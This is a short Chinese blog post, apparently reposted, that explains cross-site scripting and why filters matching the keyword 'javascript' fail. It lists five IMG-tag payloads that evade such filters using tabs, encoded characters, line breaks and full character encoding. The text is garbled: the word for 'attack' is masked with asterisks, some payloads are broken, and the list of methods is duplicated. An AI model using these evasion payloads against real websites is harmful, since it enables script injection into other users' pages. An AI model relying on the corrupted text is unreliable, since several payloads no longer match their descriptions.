XSS***:跨站脚本***(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本***缩写为XSS。XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。***者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被骇客用来编写危害性更大的phishing***而变得广为人知。对于跨站脚本***,***界共识是:跨站脚本***是新型的“缓冲区溢出***“,而JavaScript是新型的“ShellCode”。
XSS漏洞和著名的SQL注入漏洞一样,都是利用了Web页面的编写不完善,所以每一个漏洞所利用和针对的弱点都不尽相同。这就给XSS漏洞防御带来了困难:不可能以单一特征来概括所有XSS***。
传统XSS防御多采用特征匹配方式,在所有提交的信息中都进行匹配检查。对于这种类型的XSS***,采用的模式匹配方法一般会需要对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS***。这种检测方法的缺陷显而易见:骇客可以通过插入字符或完全编码的方式躲避检测:
躲避方法1)在javascript中加入多个tab键,得到
< IMG SRC="jav ascript:alert('XSS');" >;
躲避方法2) 在javascript中加入	编码字符,得到
< IMG SRC="alert('XSS');" >;
躲避方法3) 在javascript中加入
字符,得到
< IMG SRC="jav
ascript:alert('XSS');" >;
躲避方法4)在javascript中的每个字符间加入回车换行符,得到
< IMG SRC="j\r\na\r\nv\r\n\r\na\r\ns\r\nc\r\nr\r\ni\r\np\r
\nt\r\n:alert('XSS');" >
躲避方法5)对"alert('XSS')"采用完全编码,得到
< IMGSRC=javascrip&#x
74:alert('XSS
') >
< IMG SRC="jav ascript:alert('XSS');" >;
躲避方法2) 在javascript中加入	编码字符,得到
< IMG SRC="alert('XSS');" >;
躲避方法3) 在javascript中加入
字符,得到
< IMG SRC="jav
ascript:alert('XSS');" >;
躲避方法4)在javascript中的每个字符间加入回车换行符,得到
< IMG SRC="j\r\na\r\nv\r\n\r\na\r\ns\r\nc\r\nr\r\ni\r\np\r
\nt\r\n:alert('XSS');" >
躲避方法5)对"alert('XSS')"采用完全编码,得到
< IMGSRC=javascrip&#x
74:alert('XSS
') >
转载于:https://blog.51cto.com/2925750255/1125202